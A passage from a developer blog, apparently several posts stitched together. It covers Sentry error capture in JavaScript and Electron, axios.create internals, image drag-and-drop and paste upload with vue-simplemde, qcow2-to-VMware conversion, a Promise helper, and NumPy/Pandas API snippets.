through Sentry's lifecycle hooks, and sends the payload to the Sentry server for display. #### Compatibility The compatibility in question is really `window.onerror` compatibility. ##### Runtime compatibility | Environment | message | url | lineNo | colNo | errorObj | | ----------------------- | : -----: | : ---: | : ----: | : ---: | : ------: | | Firefox | ✓ | ✓ | ✓ | ✓ | ✓ | | Chrom | ✓ | ✓ | ✓ | ✓ | ✓ | | Edge | ✓ | ✓ | ✓ | ✓ | ✓ | | IE 11 | ✓ | ✓ | ✓ | ✓ | ✓ | | IE 10 | ✓ | ✓ | ✓ | ✓ | | | IE 9 | ✓ | ✓ | ✓ | ✓ | | | IE 8 | ✓ | ✓ | ✓ | | | | Safari 10 and up | ✓ | ✓ | ✓ | ✓ | ✓ | | Safari 9 | ✓ | ✓ | ✓ | ✓ | | | Opera 15+ | ✓ | ✓ | ✓ | ✓ | ✓ | | Android Browser 4.4 | ✓ | ✓ | ✓ | ✓ | | | Android Browser 4 - 4.3 | ✓ | ✓ | | | | | WeChat webview (Android)| ✓ | ✓ | ✓ | ✓ | | | WeChat webview (iOS) | ✓ | ✓ | ✓ | ✓ | ✓ | | WKWebview | ✓ | ✓ | ✓ | ✓ | ✓ | | UIWebview | ✓ | ✓ | ✓ | ✓ | ✓ | ##### Tag compatibility | Tag | Can `window.onerror` capture it | | ------ | -------------------------------------------------------------------------------------------------------------------- | | img | yes | | script | You need to add the `crossorigin` attribute on the script tag, and the server must allow CORS. Without that attribute, the error message is only `Script error.` | | css | no | | iframe | no | Most browsers support the method. Some runtimes lack `colNo` and `errorObj`. Sentry already handles that, so you do not need to worry. The error display is just a bit incomplete. #### What it can capture ##### Error info From the sketch above, the core capture is `window.onerror`. Anything it can catch is sent to Sentry. Besides `Promise`, `window.onerror` captures basically every error that shows up in the console: runtime errors, including syntax errors. To capture Promise errors, you can use: `window.addEventListener('unhandledrejection', event => {})` Compatibility is not great. Currently only the WebKit kernel supports this event. The following code is something this method can catch: ```js const p = new Promise((reslove, reject) => reject('Error')) p.then(data => { console.log(data) }) // the Promise triggered its reject callback but no catch handled it, which causes the error ``` ##### Breadcrumbs - Ajax requests - URL changes - UI click and keydown DOM events - console output - Previous errors - Custom breadcrumbs #### Display ![](https://bugs.cc/images/javaScript-integration-sentry/sentry-error-detail.png) ### Electron integration This is not about capturing errors inside the Electron app. It is about crashes. Electron is only a container. The content is still a JavaScript app. #### Setup As above, this only captures Electron crash info. When Electron crashes, it fires `crashReporter.start`. We configure Sentry there: ```js import { crashReporter } from 'electron' crashReporter.start({ productName: 'aoc-desktop', companyName: 'alo7', submitURL: 'https://sentry.com/api/15376/minidump/?sentry_key=3e05fa101f035008e953ff56909b8eb', // the minidump endpoint provided by sentry extra: { // extra info } }) ``` After that, you can use `process.crash()` to simulate a crash and check whether Sentry received it. ##### Upload symbols Earlier we uploaded source maps. Here we upload symbols. Think of a symbol file as another kind of source map. Symbol formats (extensions) vary. On Mac it is `dSYM`. On Windows it is `pdb`. Sentry does not support uploading `pdb` yet. You need `dump_syms.exe` to convert `pdb` to `sym`, then upload that to Sentry. After that, a crash in Sentry shows the crash context: ![](https://bugs.cc/images/javaScript-integration-sentry/sentry-crash-symbols.png) That lets you pinpoint where it went wrong. ### How source-map matching works When the Sentry server receives a source map, it matches it using the `url-prefix` you passed on upload, the source-map file, and the runtime JS file. The flow: ![](https://bugs.cc/images/javaScript-integration-sentry/sourcemap-matching-flow.png) --- # Analyze the axios source to find out why you can't use all and spread - URL: https://bugs.cc/posts/analyze-the-axios-source-to-find-out-why-you-cant-use-all-and-spread-methods/ (Markdown: https://bugs.cc/posts/analyze-the-axios-source-to-find-out-why-you-cant-use-all-and-spread-methods/index.md) - Language: English - Published: 2018-04-14 - Tags: javascript, axios - Translation (Chinese): https://bugs.cc/zh/posts/analyze-the-axios-source-to-find-out-why-you-cant-use-all-and-spread-methods/ ## Intro If you create axios with `axios.create({})`, you will find you cannot use `all`, `spread`, `Cancel`, `CancelToken`, or `isCancel`. I looked this up. Axios maintainers tell you to import the `axios package` again. I don't like that, because re-importing drops my axios config and I have to set it up again. We often don't want the default config. We want a custom axios instance, for example with a base URL and timeout: ```js let newAxios = axios.create({ baseURL: 'https://www.google.com.hk', timeout: 1000 }) ``` After that you use `newAxios.post`. `get`, `post`, `put` and the other basic methods work. But if you use `all`, `spread`, `Cancel`, `CancelToken`, or `isCancel`, you will be told the method does not exist. Let's look at how axios implements this, and why those methods disappear after `axios.create`. ## Source analysis Open `lib/axios.js` in the axios source. This file is the `Axios` entry point, and where `create` lives. Here is the `create` source: ```js axios.create = function create(instanceConfig) { return createInstance(mergeConfig(axios.defaults, instanceConfig)); }; ``` Let's read it step by step. `mergeConfig` is what it sounds like: it merges our config with the defaults, and ours override the defaults. I won't go into the merge code. If you're interested, see [mergeConfig](https://github.com/axios/axios/blob/master/lib/core/mergeConfig.js). So the code is now effectively: ```js axios.create = function create(instanceConfig) { return createInstance({ baseURL: 'https://www.google.com.hk', timeout: 1000, xsrfCookieName: 'XSRF-TOKEN', xsrfHeaderName: 'X-XSRF-TOKEN', maxContentLength: -1, /* etc. */ }); }; ``` That's a bit clearer. Next is `createInstance`: ```js function createInstance(defaultConfig) { var context = new Axios(defaultConfig); var instance = bind(Axios.prototype.request, context); // Copy axios.prototype to instance utils.extend(instance, Axios.prototype, context); // Copy context to instance utils.extend(instance, context); return instance; } ``` `context` is the `axios` instance. Roughly: ```js function Axios(instanceConfig) { this.defaults = instanceConfig; this.interceptors = { request: new InterceptorManager(), response: new InterceptorManager() }; } // Provide aliases for supported request methods utils.forEach(['delete', 'get', 'head', 'options'], function forEachMethodNoData(method) { /*eslint func-names: 0*/ Axios.prototype[method] = function(url, config) { return this.request(utils.merge(config || {}, { method: method, url: url })); }; }); utils.forEach(['post', 'put', 'patch'], function forEachMethodWithData(method) { /*eslint func-names: 0*/ Axios.prototype[method] = function(url, data, config) { return this.request(utils.merge(config || {}, { method: method, url: url, data: data })); }; }); ``` No need to read it in detail. After `new Axios`, `context`'s prototype chain has `request delete get head options post put patch`, and the instance itself has a `request interceptors` object. Now look at `bind` and `extend`: ```js var instance = bind(Axios.prototype.request, context); // Copy axios.prototype to instance utils.extend(instance, Axios.prototype, context); // Copy context to instance utils.extend(instance, context); ``` The first `bind` makes `this` inside Axios.prototype.request point to `context`. The two `extend` calls copy enumerable properties from the second argument onto the first, which is `instance`. Starting from `bind`, `instance` now has a `request` method. The second `extend` copies methods from `Axios.prototype` onto `instance`. Now `instance` has `request delete get head options post put patch`. The third `extend` copies methods from `context` onto `instance`. Now it has `request delete get head options post put patch interceptors defaults`. That's it. `create` returns `instance`. There is no `all`, `spread`, or the others. That's why they don't work after `create`. Where are they? Still in `lib/axios.js`: ```js // Expose Cancel & CancelToken axios.Cancel = require('./cancel/Cancel'); axios.CancelToken = require('./cancel/CancelToken'); axios.isCancel = require('./cancel/isCancel'); // Expose all/spread axios.all = function all(promises) { return Promise.all(promises); }; axios.spread = require('./helpers/spread'); module.exports = axios; // Allow use of default import syntax in TypeScript module.exports.default = axios; ``` These methods are assigned directly onto the axios function, then exported. So with `axios` you can use `all`, `spread`, and the rest. With `axios.create` you cannot use `all`, `spread`, `Cancel`, `CancelToken`, or `isCancel`. ## Solution If you could change axios source, you would change `lib/axios.js` like this: ```js function createInstance(defaultConfig) { var context = new Axios(defaultConfig); var instance = bind(Axios.prototype.request, context); // Copy axios.prototype to instance utils.extend(instance, Axios.prototype, context); // Copy context to instance utils.extend(instance, context); utils.extend(instance, { Cancel: require('./cancel/Cancel'), CancelToken: require('./cancel/CancelToken'), isCancel: require('./cancel/isCancel'), all: function all(promises) { return Promise.all(promises); }, spread: require('./helpers/spread') }, context); return instance; } ``` Of course that's not going to happen. We need to do it without changing source. Here's a blunt solution, which I like: ```js let axios = require('axios'); const http = axios.create({ baseURL: 'https://www.google.com.hk' }) /* eslint-disable no-proto */ http.__proto__ = axios /* eslint-enable */ module.exports = axios ``` Pretty simple, one line.[^eslint-proto] [^eslint-proto]: The comments are there because `eslint` does not allow reassigning `__proto__`. --- # Some thoughts on implementing image drag-and-drop and paste with vue-simplemde - URL: https://bugs.cc/posts/simplemde-realizes-some-thoughts-on-drag-and-drop-and-paste-function/ (Markdown: https://bugs.cc/posts/simplemde-realizes-some-thoughts-on-drag-and-drop-and-paste-function/index.md) - Language: English - Published: 2018-04-12 - Tags: javascript, vue, markdown - Translation (Chinese): https://bugs.cc/zh/posts/simplemde-realizes-some-thoughts-on-drag-and-drop-and-paste-function/ ## Intro The project uses Vue and needed a markdown editor. I looked on npm, found [simplemde](https://www.npmjs.com/package/simplemde) was decent. I'm pretty lazy, so I searched npm again, found the [vue-simplemde](https://www.npmjs.com/package/vue-simplemde) `package`, and started using it. But `vue-simplemde` does not support drag-and-drop image upload or paste upload. You can't really blame `vue-simplemde`; it is only a Vue wrapper around `simplemde`. So it comes down to `simplemde` not shipping this. For UX this feature is necessary, unless you drop the markdown editor and switch to a rich-text one, in which case a lot of the project would have to change. I looked up articles and some GitHub code. Analysis below. ## Drag and drop The core of the drag-and-drop API is the `drop` event: it fires when you drag a file from the desktop into the browser and release. We all know that if you drag an image into the browser, it just opens the image. That is the default: dragging a file into the browser opens the file. We need to block that native behavior. First, a snippet that suppresses the default: ```js window.addEventListener("drop", e => { e = e || event if (e.target.className === 'CodeMirror-scroll') { // if it enters the editor, prevent the default event e.preventDefault() } }, false) ``` `CodeMirror-scroll` is the class name of the `simplemde` editor. Now if we drag a file onto the editor and release, nothing happens. Outside the editor, the default still fires. Next, get the `simplemde` instance and attach a `drop` handler. ```js // assume the page has three editor windows, so we loop to bind listeners [ this.$refs.simplemde1, this.$refs.simplemde2, this.$refs.simplemde3 ].map(({simplemde}) => { simplemde.codemirror.on('drop', (editor, e) => { if (!(e.dataTransfer && e.dataTransfer.files)) { // alert that this browser does not support this operation return } let dataList = e.dataTransfer.files let imageFiles = [] // array of file instances to upload // loop because several image files may be dragged at once for (let i = 0; i < dataList.length; i++) { // if not an image, warn that only dragging image files is supported if (dataList[i].type.indexOf('image') === -1) { // the continue below means: if the user drags 2 images and one document at once, the document is not uploaded while the images are uploaded as usual. continue } imageFiles.push(dataList[i]) // push the current file into the array first, then upload them all together after the for loop ends. } // uploadImagesFile is the method that uploads images // simplemde.codemirror is used to tell which editor the current image upload belongs to this.uploadImagesFile(simplemde.codemirror, imageFiles) // because the code below already exists, the default-event blocking code above is unnecessary e.preventDefault() }) }) ``` At first glance it looks like a lot of code; that's the comments. Here it is without comments. Read it and form your own take: ```js [ this.$refs.simplemde1, this.$refs.simplemde2, this.$refs.simplemde3 ].map(({simplemde}) => { simplemde.codemirror.on('drop', (editor, e) => { if (!(e.dataTransfer && e.dataTransfer.files)) { return } let dataList = e.dataTransfer.files let imageFiles = [] for (let i = 0; i < dataList.length; i++) { if (dataList[i].type.indexOf('image') === -1) { continue } imageFiles.push(dataList[i]) } this.uploadImagesFile(simplemde.codemirror, imageFiles) e.preventDefault() }) }) ``` ## Paste The paste API is the `paste` event. Unlike drop, paste does not need `preventDefault`. If you copy an image and press `ctrl+v` in the browser, nothing happens, so there is no need to block the default. Code: ```js simplemde.codemirror.on('paste', (editor, e) => { // handler triggered when pasting an image if (!(e.clipboardData && e.clipboardData.items)) { // alert that this browser does not support this operation return } try { let dataList = e.clipboardData.items if (dataList[0].kind === 'file' && dataList[0].getAsFile().type.indexOf('image') !== -1) { this.uploadImagesFile(simplemde.codemirror, [dataList[0].getAsFile()]) } } catch (e) { // alert that only images can be pasted } }) ``` The `try...catch` is there because if you paste a file, `items` is empty, and the `if` below reads `dataList[0].kind`, i.e. `e.clipboardData.items[0].kind`. Accessing `kind` on a missing item throws. So we need `try...catch`. `dataList[0].getAsFile().type.indexOf('image') !== -1` checks that what you pasted is actually an image, not something else. The upload call inside `if` differs in `[dataList[0].getAsFile()]`. I wrap it in `[]` so the shape matches what `uploadImagesFile` expects. `dataList[0].getAsFile()` is the file instance. ## Upload Upload is a bit more of a hassle: ```js uploadImagesFile (simplemde, files) { // wrap each file instance with FormData and return an array let params = files.map(file => { let param = new FormData() param.append('file', file, file.name) return param }) let makeRequest = params => { return this.$http.post('/Api/upload', params) } let requests = params.map(makeRequest) this.$http.spread = callback => { return arr => { return callback.apply(null, arr) } } // the server returns the format {state: Boolean, data: String} // when state is false, data is the returned error message // when state is true, data is the uploaded image's url, an absolute path relative to the site, like below: // /static/upload/2cfd6a50-3d30-11e8-b351-0d25ce9162a3.png Promise.all(requests) .then(this.$http.spread((...resps) => { for (let i = 0; i < resps.length; i++) { let {state, data} = resps[i].data if (!state) { // alert showing the error message in data continue } let url = `![](${location.origin + data})` // assemble into markdown syntax let content = simplemde.getValue() simplemde.setValue(content + url + '\n') // concatenate with the editor's existing content } })) } ``` I wrapped `axios` as a Vue plugin, so `this.$http` is the instance, not axios itself. The axios maintainers' fix is to import the `axios` package again. I don't think that is needed. Internally `axios.all` is `Promise.all`. `axios.spread` is small, so I copied it and assigned it back onto `axios`. So the snippet above is ```js Promise.all(requests) .then(this.$http.spread((...resps) => { // code }) ``` Which is equivalent to ```js axios.all(requests) .then(axios.spread((...resps) => { // code }) ``` For this, see the official thread: [axios-all-is-not-a-function-inside-vue-component](https://forum.vuejs.org/t/axios-all-is-not-a-function-inside-vue-component/15601). You can also look at the `axios` source: [axios.js#L45-L48](https://github.com/axios/axios/blob/master/lib/axios.js#L45-L48) I won't go further on this. Back to the topic. When `state` is true, `data` is an absolute path on the site, e.g. `/static/upload/2cfd6a50-3d30-11e8-b351-0d25ce9162a3.png` We need to concatenate, hence `![](${location.origin + data})`. The last two lines get the previous content and append the url. ## Wrap-up Here is the final result: ![](https://bugs.cc/images/simplemde-realizes-some-thoughts-on-drag-and-drop-and-paste-function/drag-paste-upload.gif) Full code: [Subject.vue#L378-L465](https://github.com/BlackHole1/Koler/blob/8e4677897fa7eb7545f3d269642e9ab6f5f44b5e/src/components/Subject/Subject.vue#L378-L465) ## References && thanks [code from skecozo's laravel-demo](https://github.com/skecozo/laravel-demo/blob/c18efbffaaef59ded6180c0201de2bad0e248c4c/resources/assets/js/lib/simplemde.js) [Lemon's article "Implementing drag-and-drop and paste image upload in simplemde"](https://www.it9g.com/post/simplemde-to-achieve-drag-and-drop,-paste-pictures-upload) [f-loat's vue-simplemde package](https://www.npmjs.com/package/vue-simplemde) [wescossick's simplemde package](https://www.npmjs.com/package/simplemde) --- # Run a qcow2 image in VMware - URL: https://bugs.cc/posts/run-qcow2-image-in-vmware/ (Markdown: https://bugs.cc/posts/run-qcow2-image-in-vmware/index.md) - Language: English - Published: 2018-01-23 - Tags: virtualization - Translation (Chinese): https://bugs.cc/zh/posts/run-qcow2-image-in-vmware/ ## Intro For some reason I needed to run a qcow2 image on my laptop. Standing up an OpenStack platform was out of the question; the hardware could not take it. I wanted to see if I could just run the qcow2 image in VMware. Everything online said to convert it with `qemu-img`, and then the write-ups just stopped. So I poked at it myself and wrote the process down. ## Preparation First download `qemu-img`. I was on 64-bit Windows, so I grabbed the [win64 build](https://qemu.weilnetz.de/w64/). After it is installed, add the install directory to `PATH` so the rest is easier. I will skip VMware itself and the original qcow2 image. You need both. ## Steps First convert the qcow2 image to vmdk with `qemu-img`: ```bash $ qemu-img convert -f qcow2 CentOS_7.2_x86_64_XD.qcow2 -O vmdk Centos.vmdk ``` You will get a Centos.vmdk image in the current directory, but you cannot import it: there is no vmx file. Dropping it into VMware throws an error. So create an empty VM in VMware first. Pick the guest OS from your qcow2; mine was CentOS 7, so I chose CentOS 7 64-bit. Once that is created, go into that VM's folder under `Virtual Machines`, delete the vmdk, and replace it with the file you converted with `qemu-img`. Start VMware and it should work. Here is a demo: [YouTube: https://www.youtube.com/watch?v=GE1dkDgRSPA](https://www.youtube.com/watch?v=GE1dkDgRSPA) --- # Add a unified operation extension to Promise - URL: https://bugs.cc/posts/add-unified-operation-extensions-to-promise/ (Markdown: https://bugs.cc/posts/add-unified-operation-extensions-to-promise/index.md) - Language: English - Published: 2018-01-06 - Tags: javascript, promise - Translation (Chinese): https://bugs.cc/zh/posts/add-unified-operation-extensions-to-promise/ ## Intro ES6 added `Promise`. A Promise only has two callback methods: `then` and `catch`. Later, Promise also got two extra methods. You have to attach them yourself, of course. - One is `done`: [http://es6.ruanyifeng.com/#docs/promise#done](http://es6.ruanyifeng.com/#docs/promise#done) - One is `finally`: [http://es6.ruanyifeng.com/#docs/promise#finally](http://es6.ruanyifeng.com/#docs/promise#finally) Follow the links above if you want the background, or look at the official source for how they are implemented: [done](https://github.com/then/promise/blob/master/src/done.js) and [finally](https://github.com/then/promise/blob/master/src/finally.js) ## The unified method There is still no unified handler for `then` and `catch`. If the last-step logic in `then` and `catch` is basically the same, you end up writing it twice. You can pull the shared logic into a function, but that still looks a bit awkward. It would be nicer to have one callback that handles both `resolve` and `reject`. We can add a method on `Promise.prototype`. That method catches `resolve` and `reject`, then hands them to a callback. The code is simple: ```js Promise.prototype.unified = function (callback) { this.then( data => callback(true, data), data => callback(false, data) ) } ``` Usage is straightforward. First, a Promise without the unified handler: ```js let promise = new Promise(function(resolve, reject) { if (false){ setTimeout(() => resolve('success'), 1000) } else { setTimeout(() => reject('error'), 1000) } }) promise .then((data) => { console.log( state: true, data: data, msg: 'operation successful' ) }) .catch((data) => { console.log( state: false, data: data, msg: 'operation failed' ) }) ``` Now the same thing with `unified`: ```js let promise = new Promise(function(resolve, reject) { if (false){ setTimeout(() => resolve('success'), 1000) } else { setTimeout(() => reject('error'), 1000) } }) promise.unified((state, data) => { const msg = state ? 'operation successful' : 'operation failed' console.log( state, data, msg ) }) ``` A lot more convenient, right? That said, this couples the code. Use it carefully or later maintenance will hurt. --- # Some NumPy, Pandas, and Matplotlib APIs - URL: https://bugs.cc/posts/numpy-pandas-matplotlib-some-api/ (Markdown: https://bugs.cc/posts/numpy-pandas-matplotlib-some-api/index.md) - Language: English - Published: 2017-11-12 - Tags: python - Translation (Chinese): https://bugs.cc/zh/posts/numpy-pandas-matplotlib-some-api/ ## NumPy ### Import `import numpy as np` ### API #### Create array ```python np.array([10, 11, 12, 13]) # [10 11 12 13] np.array([10, 11, 12, 13, 14 ,15]).reshape([2,3]) # [ # [10 11 12] # [13 14 15] # ] np.array([[1, 2], [3, 4]]) # [ # [1 2] # [3 4] # ] np.arange(4) # [0 1 2 3] np.arange(2, 6) # [2 3 4 5] np.arange(4).reshape([2,2]) # [ # [0 1] # [2 3] # ] np.random.random([2,3]) # [ # [ 0.00136044 0.46854718 0.59149907] # [ 0.75636339 0.18204628 0.53191402] # ] ``` #### Calculation ```python arr = np.array([10, 11, 12, 13, 14 ,15]).reshape([2,3]) # [ # [10 11 12] # [13 14 15] # ] # sum np.sum(arr, axis=0) # [23 25 27] np.sum(arr, axis=1) # [33 42] # minimum np.min(arr, axis=0) # [10 11 12] np.min(arr, axis=1) # [10 13] # maximum np.max(arr, axis=0) # [13 14 15] np.max(arr, axis=1) # [12 15] # index of the max/min value np.argmin(arr) # 0 (0 is the index) np.argmax(arr) # 5 (5 is the index) # mean arr.mean() # np.mean(arr) # 12.5 np.average(arr) # 12.5 # cumulative sum np.cumsum(arr) # [10 21 33 46 60 75] # differences between adjacent elements np.diff(arr) # [ # [1 1] # [1 1] # ] # replace np.clip(arr, 11, 14) # [ # [11 11 12] # [13 14 14] # ] # numbers below 11 become 11, numbers above 14 become 14, the rest stay unchanged ``` #### Indexing ```python arr = np.arange(3, 15).reshape([3,4]) # [ # [ 3 4 5 6] # [ 7 8 9 10] # [11 12 13 14] # ] arr[1, 1] # arr[1][1] # 8 arr[:, 1] # [ 4 8 12] arr[1, :] # [ 7 8 9 10] arr[1, 1:3] # [8 9] arr.flatten() # [ 3 4 5 6 7 8 9 10 11 12 13 14] for i in arr.flat: print(i) # prints each value. arr.flat is an iterator ``` #### Merge ```python A = np.array([1, 1, 1]) B = np.array([2, 2, 2]) np.vstack((A, B)) # [ # [1 1 1] # [2 2 2] # ] np.hstack((A, B)) # [1 1 1 2 2 2] ``` #### Split ```python arr = np.arange(12).reshape([3,4]) # [ # [ 0 1 2 3] # [ 4 5 6 7] # [ 8 9 10 11] # ] np.split(arr, 2, axis=1) # [array([ # [0, 1], # [4, 5], # [8, 9] # ]), # array([ # [ 2, 3], # [ 6, 7], # [10, 11]] # )] ``` ------ ## Pandas ### Import `import pandas as pd` ### API #### Create a DataFrame ```python pd.Series([1, 3, 6, np.nan, 44, 1]) # 0 1.0 # 1 3.0 # 2 6.0 # 3 NaN # 4 44.0 # 5 1.0 # dtype: float64 pd.date_range('20171108', periods=6) # DatetimeIndex( # ['2017-11-08', '2017-11-09', '2017-11-10', '2017-11-11','2017-11-12', '2017-11-13'], # dtype='datetime64[ns]', # freq='D' # ) dates = pd.date_range('20171108', periods=6) pd.DataFrame(np.random.randn(6, 4), index=dates, columns=['a', 'b', 'c', 'd']) # a b c d # 2017-11-08 0.644350 1.122020 -1.263401 0.163371 # 2017-11-09 0.573329 -0.242054 -0.342220 1.070905 # 2017-11-10 0.714291 -0.721509 -2.298672 -0.513572 # 2017-11-11 -0.614927 2.010482 -1.369179 -0.901276 # 2017-11-12 0.709672 -0.430620 1.070244 -2.308874 # 2017-11-13 1.284080 1.169807 1.668942 0.859300 pd.DataFrame({ 'A': 1., 'B': pd.Timestamp('20171108'), 'C': pd.Series(1, index=list(range(4)), dtype='float32'), 'D': np.array([3] * 4, dtype='int32'), 'E': pd.Categorical(['test', 'train', 'test', 'train']), 'F': 'foo' }) # A B C D E F # 0 1.0 2017-11-08 1.0 3 test foo # 1 1.0 2017-11-08 1.0 3 train foo # 2 1.0 2017-11-08 1.0 3 test foo # 3 1.0 2017-11-08 1.0 3 train foo ``` #### Selection ```python datas = pd.DataFrame({ 'A': 1., 'B': pd.Timestamp('20171108'), 'C': pd.Series(1, index=list(range(4)), dtype='float32'), 'D': np.array([3] * 4, dtype='int32'), 'E': pd.Categorical(['test', 'train', 'test', 'train']), 'F': 'foo' }) # A B C D E F # 0 1.0 2017-11-08 1.0 3 test foo # 1 1.0 2017-11-08 1.0 3 train foo # 2 1.0 2017-11-08 1.0 3 test foo # 3 1.0 2017-11-08 1.0 3 train foo datas.A # datas['A'] # 0 1.0 # 1 1.0 # 2 1.0 # 3 1.0 # Name: A, dtype: float64 datas[0:3] # A B C D E F # 0 1.0 2017-11-08 1.0 3 test foo # 1 1.0 2017-11-08 1.0 3 train foo # 2 1.0 2017-11-08 1.0 3 test foo datas.loc[0] # when the index is something like '2017-11-8', use datas.loc['20171108'] # A 1 # B 2017-11-08 00:00:00 # C 1 # D 3 # E test # F foo # Name: 0, dtype: object datas.loc[:,['A', 'B']] # A B # 0 1.0 2017-11-08 # 1 1.0 2017-11-08 # 2 1.0 2017-11-08 # 3 1.0 2017-11-08 datas.loc[[1, 3],['A', 'B']] # A B # 1 1.0 2017-11-08 # 3 1.0 2017-11-08 # icol selects by row number, col selects by index, ix is a mix of the two (either works) # icol[1] # ix[1] # when the index is 2017-11-08, use ix['20171108'] datas[datas.E == 'test'] # A B C D E F # 2017-11-08 1.0 2017-11-08 1.0 3 test foo # 2017-11-10 1.0 2017-11-08 1.0 3 test foo datas.index # Int64Index([0, 1, 2, 3], dtype='int64') datas.columns # Index([u'A', u'B', u'C', u'D', u'E', u'F'], dtype='object') datas.values # array( # [ # [1.0, Timestamp('2017-11-08 00:00:00'), 1.0, 3, 'test', 'foo'], # [1.0, Timestamp('2017-11-08 00:00:00'), 1.0, 3, 'train', 'foo'], # [1.0, Timestamp('2017-11-08 00:00:00'), 1.0, 3, 'test', 'foo'], # [1.0, Timestamp('2017-11-08 00:00:00'), 1.0, 3, 'train', 'foo'] # ], # dtype=object) ``` #### Sorting ```python datas.sort_index(axis=0, ascending=False) # F E D C B A # 0 foo test 3 1.0 2017-11-08 1.0 # 1 foo train 3 1.0 2017-11-08 1.0 # 2 foo test 3 1.0 2017-11-08 1.0 # 3 foo train 3 1.0 2017-11-08 1.0 datas.sort_index(axis=0, ascending=False) # A B C D E F # 3 1.0 2017-11-08 1.0 3 train foo # 2 1.0 2017-11-08 1.0 3 test foo # 1 1.0 2017-11-08 1.0 3 train foo # 0 1.0 2017-11-08 1.0 3 test foo datas.sort_values(by='E') # A B C D E F # 0 1.0 2017-11-08 1.0 3 test foo # 2 1.0 2017-11-08 1.0 3 test foo # 1 1.0 2017-11-08 1.0 3 train foo # 3 1.0 2017-11-08 1.0 3 train foo ``` #### Set values ```python datas = pd.DataFrame({ 'A': pd.Series([1, 5, 'test', 'foo'], index=list(range(4))), 'B': pd.Series([np.nan, 1, np.nan, 'test'], index=list(range(4))), 'C': pd.Series(1, index=list(range(4)), dtype='float32'), }) # A B C # 0 1 NaN 1.0 # 1 5 1 1.0 # 2 test NaN 1.0 # 3 foo test 1.0 datas.dropna(axis=0, how='any') # when axis is 1, it checks the vertical direction for NaN values instead # how = 'any' || 'all', the default is any # with any, a row is dropped if it contains a single NaN. # with all, a row is dropped only when every value in it is NaN # A B C # 1 5 1 1.0 # 3 foo test 1.0 datas.fillna(value=0) # A B C # 0 1 0 1.0 # 1 5 1 1.0 # 2 test 0 1.0 # 3 foo test 1.0 datas.isnull() # A B C # 0 False True False # 1 False False False # 2 False True False # 3 False False False # when the data is very large, or you only want to know whether any value is NaN # np.any(datas.isnull()) == True # returns True when any value is NaN ``` #### Import and export ```python pd.read_csv('***.csv',delimiter=',',encoding='utf-8',names=['test1','test2','test3']) # arg 1: the target file to read # arg 2: the delimiter of the csv file # arg 3: the encoding # arg 4: the column names # test1 test2 test3 # 0 2017-11-18 ABC 51315.0 # 1 2017-11-19 DEF 5659.0 # 2 2017-11-20 GHI 1599.0 # 3 2017-11-21 JKL 2224.0 datas.to_csv('**.csv') ``` ![](https://bugs.cc/images/numpy-pandas-mateplotilb-some-api/csv-export-excel.png) #### Merge ##### concat ```python datas1 = pd.DataFrame(np.ones((3, 4)) * 0, columns=['a', 'b', 'c', 'd']) # a b c d # 0 0.0 0.0 0.0 0.0 # 1 0.0 0.0 0.0 0.0 # 2 0.0 0.0 0.0 0.0 datas2 = pd.DataFrame(np.ones((3, 4)) * 1, columns=['a', 'b', 'c', 'd']) # a b c d # 0 1.0 1.0 1.0 1.0 # 1 1.0 1.0 1.0 1.0 # 2 1.0 1.0 1.0 1.0 datas3 = pd.DataFrame(np.ones((3, 4)) * 2, columns=['a', 'b', 'c', 'd']) # a b c d # 0 2.0 2.0 2.0 2.0 # 1 2.0 2.0 2.0 2.0 # 2 2.0 2.0 2.0 2.0 pd.concat([datas1, datas2, datas3], axis=0, ignore_index=True) # a b c d # 0 0.0 0.0 0.0 0.0 # 1 0.0 0.0 0.0 0.0 # 2 0.0 0.0 0.0 0.0 # 3 1.0 1.0 1.0 1.0 # 4 1.0 1.0 1.0 1.0 # 5 1.0 1.0 1.0 1.0 # 6 2.0 2.0 2.0 2.0 # 7 2.0 2.0 2.0 2.0 # 8 2.0 2.0 2.0 2.0 pd.concat([datas1, datas2, datas3], axis=1) # a b c d a b c d a b c d # 0 0.0 0.0 0.0 0.0 1.0 1.0 1.0 1.0 2.0 2.0 2.0 2.0 # 1 0.0 0.0 0.0 0.0 1.0 1.0 1.0 1.0 2.0 2.0 2.0 2.0 # 2 0.0 0.0 0.0 0.0 1.0 1.0 1.0 1.0 2.0 2.0 2.0 2.0 ``` ###### concat parameters > In concat, the default value of join is outer. ```python datas1 = pd.DataFrame(np.ones((3, 4)) * 0, columns=['a', 'b', 'c', 'd'], index=[1, 2, 3]) # a b c d # 1 0.0 0.0 0.0 0.0 # 2 0.0 0.0 0.0 0.0 # 3 0.0 0.0 0.0 0.0 datas2 = pd.DataFrame(np.ones((3, 4)) * 1, columns=['b', 'c', 'd', 'e'], index=[2, 3, 4]) # b c d e # 2 1.0 1.0 1.0 1.0 # 3 1.0 1.0 1.0 1.0 # 4 1.0 1.0 1.0 1.0 pd.concat([datas1, datas2], join='outer') # a b c d e # 1 0.0 0.0 0.0 0.0 NaN # 2 0.0 0.0 0.0 0.0 NaN # 3 0.0 0.0 0.0 0.0 NaN # 2 NaN 1.0 1.0 1.0 1.0 # 3 NaN 1.0 1.0 1.0 1.0 # 4 NaN 1.0 1.0 1.0 1.0 pd.concat([datas1, datas2], join='inner') # b c d # 1 0.0 0.0 0.0 # 2 0.0 0.0 0.0 # 3 0.0 0.0 0.0 # 2 1.0 1.0 1.0 # 3 1.0 1.0 1.0 # 4 1.0 1.0 1.0 pd.concat([datas1, datas2], axis=1, join_axes=[datas2.index]) # a b c d b c d e # 2 0.0 0.0 0.0 0.0 1.0 1.0 1.0 1.0 # 3 0.0 0.0 0.0 0.0 1.0 1.0 1.0 1.0 # 4 NaN NaN NaN NaN 1.0 1.0 1.0 1.0 # without join_axes: # a b c d b c d e # 1 0.0 0.0 0.0 0.0 NaN NaN NaN NaN # 2 0.0 0.0 0.0 0.0 1.0 1.0 1.0 1.0 # 3 0.0 0.0 0.0 0.0 1.0 1.0 1.0 1.0 # 4 NaN NaN NaN NaN 1.0 1.0 1.0 1.0 ``` ##### append ```python datas1 = pd.DataFrame(np.ones((3, 4)) * 0, columns=['a', 'b', 'c', 'd']) # a b c d # 0 0.0 0.0 0.0 0.0 # 1 0.0 0.0 0.0 0.0 # 2 0.0 0.0 0.0 0.0 datas2 = pd.Series([1, 2, 3, 4], index=['a', 'b', 'c', 'd']) # a 1 # b 2 # c 3 # d 4 # dtype: int64 datas1.append(datas2, ignore_index=True) # a b c d # 0 0.0 0.0 0.0 0.0 # 1 0.0 0.0 0.0 0.0 # 2 0.0 0.0 0.0 0.0 # 3 1.0 2.0 3.0 4.0 ``` ##### merge ```python left = pd.DataFrame({ 'key': ['k0', 'k1', 'k2', 'k3'], 'A': 